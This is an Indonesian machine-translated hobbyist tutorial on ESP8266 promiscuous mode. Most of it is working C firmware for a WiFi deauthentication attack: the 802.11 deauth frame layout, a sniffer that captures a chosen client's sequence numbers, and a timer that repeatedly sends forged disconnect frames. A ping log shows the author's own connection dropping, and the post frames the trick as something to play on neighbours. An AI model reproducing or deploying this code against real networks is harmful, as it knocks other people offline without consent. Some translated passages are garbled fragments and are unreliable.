Mode promiscuous dalam mikrokontroler ESP-8266

Saya pikir banyak orang akan setuju bahwa ESP-8266 adalah penemuan hebat untuk DIY dan Internet. Semacam sensor WiFi yang dapat dihubungkan ke Arduino atau bahkan digunakan alih-alih Arduino untuk mengirim, sebagai aturan, data cuaca ke server. Ada banyak firmware berbeda yang memungkinkan Anda melakukan ini: mulai dari modem stok yang digunakan bersama dengan Arduino, NodeMCU untuk pengikut LUA, hingga banyak server web yang sepenuhnya dilayani oleh ESP ( contoh ).

gambar

Sebagai aturan, setelah menerima mikrokontroler mini dari Cina, Anda tidak mungkin ingin menulis firmware sendiri dan akan menggunakan salah satu yang tersedia. Ada 2 alasan untuk ini: apa pun yang Anda pikirkan, sudah diterapkandan Anda tidak mungkin ingin berurusan dengan SDK Cina yang murah hati dibumbui dengan kruk dan fitur tidak berdokumen. Dan jangan bingung dengan desain situs yang menarik : menulis firmware untuk ESP adalah rasa sakit dan penderitaan. Jika ini tidak membuat Anda takut, selamat datang. Artikel ini ditujukan untuk Arduino dengan pengalaman minimal dengan ESP: Anda sudah tahu cara mengumpulkan firmware dan menuliskannya ke mikrokontroler.

Seperti yang dapat Anda lihat dari header, kami akan bekerja secara langsung dengan stack 802.11, sebanyak mungkin dalam kasus ESP. Mode promiscuous pada ESP - kemampuan untuk mengirim dan menerima paket data "asing" dari udara. Tidak begitu banyak bidang aplikasi: analisis statistik (pengumpulan semua jenis data, seperti kemacetan tergantung pada frekuensi) dan penetrasi dan peretasan jaringan. Dalam kasus terakhir, hiburan skrip kiddie khas adalah deauthentikasi (pemutusan) dari tetangga dari router WiFi-nya saat ia memainkan DotA / tank. Biasanya, untuk ini, head terang menginstal Kali Linux dan menggunakan set skipping udara * -ng, kita akan menggunakan pengendali miniatur.
Mengapa
, .


Untuk ini, selain perangkat keras, kita akan membutuhkan API (saya menggunakan Referensi API SDK Non-OS ESP8266 , tautannya mungkin akan segera rusak) dan proyek esp-open-sdk yang akan mengerjakan sebagian besar perakitan proyek untuk Anda. Proyek setengah jadi (untuk alasan etis) berdasarkan hasil pos ini dapat ditemukan di github .

Jadi deauth. Siapa yang tidak tahu - putusKoneksi WiFi Anda dimungkinkan menggunakan beberapa puluh byte data yang dikirim ke udara terdekat. Enkripsi tidak disimpan untuk alasan konseptual murni: deauth disediakan untuk kasus-kasus di mana komunikasi buruk dan paket hilang. Karenanya, diperlukan mekanisme yang efektif untuk berteriak kepada klien, “Saya semua, saya bosan” dan memulai koneksi dari awal. Dan ini bukan enkripsi. Dalam kasus kami, kami akan berpura-pura bahwa titik akses tidak tahan dan atas nama itu kami akan mengirim surat kepada klien yang bahagia. Struktur paket adalah sebagai berikut:

[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]


Serakah akan pengetahuan sendiri akan menemukan apa arti konstanta sihir, tetapi saya akan menjelaskan secara singkat variabel:

  • two_random_bytes akan ditimpa oleh mikrokontroler;
  • client_MAC_menambahkan 6 byte alamat fisik perangkat MAC klien;
  • ap_MAC_adalam 6 byte alamat fisik perangkat MAC server (router, titik akses);
  • seq_N_lo, hi byte rendah dan tinggi seq_n, nomor seri paket dikalikan 16 (4 bit paling sedikit dicadangkan untuk kemungkinan pengiriman paket yang sama lagi)


Jadi

Langkah 1: letakkan ESP dalam mode stasiun

Mengikuti komentar yang tidak mengganggu dari teman-teman Cina, ini hanya perlu (tidak ada penjelasan).

void ICACHE_FLASH_ATTR
user_init()
{
    uart_init(115200, 115200);
    os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
    
    // Promiscuous works only with station mode
    wifi_set_opmode(STATION_MODE);
    
    // Set timer for deauth
    os_timer_disarm(&deauth_timer);
    os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
    os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
    
    // Continue to 'sniffer_system_init_done'
    system_init_done_cb(sniffer_system_init_done);
}


Di antara hal-hal lain, kami mengatur kecepatan input / output dari serial di sini untuk dapat membaca pesan debug, menggunakan timer bawaan untuk memanggil metode deauth setiap milidetik DEAUTH_INTERVAL setiap milidetik dan membiarkan ESP berdesir sebelum melanjutkan ke tahap kedua inisialisasi.

Mengapa
, user-defined ESP , WiFi , . while(1) watchdog .


Langkah 2: letakkan ESP dalam mode promiscuous

Untuk melakukan ini, kita mendefinisikan fungsi sniffer_system_init_done yang digunakan sebelumnya.
void ICACHE_FLASH_ATTR
sniffer_system_init_done(void)
{
    // Set up promiscuous callback
    wifi_set_channel(channel);
    wifi_promiscuous_enable(0);
    wifi_set_promiscuous_rx_cb(promisc_cb);
    wifi_promiscuous_enable(1);
}

Di sini kita mengatur band WiFi (transmisi data / saluran penerimaan, lihat instruksi untuk negara Anda), catat panggilan balik untuk menerima paket promisc_cb dan jalankan mode promiscuous. Mengapa kita membutuhkan panggilan balik ini?

Langkah 3: mengendus paket

Salah satu parameter deauth dari paket, seq_n, menyiratkan bahwa kami telah menerima paket-paket sebelumnya dan kami tahu nomor seri paket berikutnya. Untuk ini, kita perlu mendengarkan koneksi orang lain dan merekam seq_n ini.

static void ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len)
{
    if (len == 12){
        struct RxControl *sniffer = (struct RxControl*) buf;
    } else if (len == 128) {
        struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
    } else {
        struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
        int i=0;
        // Check MACs
        for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
        for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
        // Update sequence number
        seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
    }
}


Kaskade seandainya dikaitkan dengan ilmu hitam dengan berbagai standar 802.11. Tentu saja, ESP hanya mendukung set yang paling diperlukan dan tidak berfungsi, katakanlah, dengan frekuensi 5Ghz. Deskripsi semua struktur tersedia dalam dokumentasi dan contoh, tetapi kami membutuhkan yang kecil: bidang data sniffer-> buf dalam kasus ini. Kami memeriksa bahwa paket tersebut berasal dari titik akses dan dikirim ke korban kami dan, jika demikian, tulis 2 byte seq_n. By the way, paket dalam arah yang berlawanan memiliki penomoran yang terpisah.

Langkah 4: Kirim

Satu-satunya adalah mengirim paket.

uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
    int i=0;
    
    // Type: deauth
    buf[0] = 0xC0;
    buf[1] = 0x00;
    // Duration 0 msec, will be re-written by ESP
    buf[2] = 0x00;
    buf[3] = 0x00;
    // Destination
    for (i=0; i<6; i++) buf[i+4] = client[i];
    // Sender
    for (i=0; i<6; i++) buf[i+10] = ap[i];
    for (i=0; i<6; i++) buf[i+16] = ap[i];
    // Seq_n
    buf[22] = seq % 0xFF;
    buf[23] = seq / 0xFF;
    // Deauth reason
    buf[24] = 1;
    buf[25] = 0;
    return 26;
}

/* Sends deauth packets. */
void deauth(void *arg)
{
    os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
    // Sequence number is increased by 16, see 802.11
    uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
    wifi_send_pkt_freedom(packet_buffer, size, 0);
}


Fungsi pertama menulis data yang diperlukan ke buffer, yang kedua mengirimkannya.

Langkah 5: periksa

Untuk menguji kinerja, saya menggunakan komputer saya sendiri .
Hasilnya berbicara sendiri
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms



Untuk analisis objektif, Anda dapat menggunakan Wireshark:



Paket ini terlihat persis dalam bentuk di mana kami mengirimnya.

Jadi, apakah ini benar-benar berhasil? Tidak. Dalam versi terbaru dari SDK rusak pofiksili. Paket siaran dapat dikirim, tetapi tidak lebih. Namun SDK lama tetap dilestarikan dan tersedia sebagai bagian dari contoh di GitHub . Gunakan dengan hati-hati.

Source: https://habr.com/ru/post/id397741/


All Articles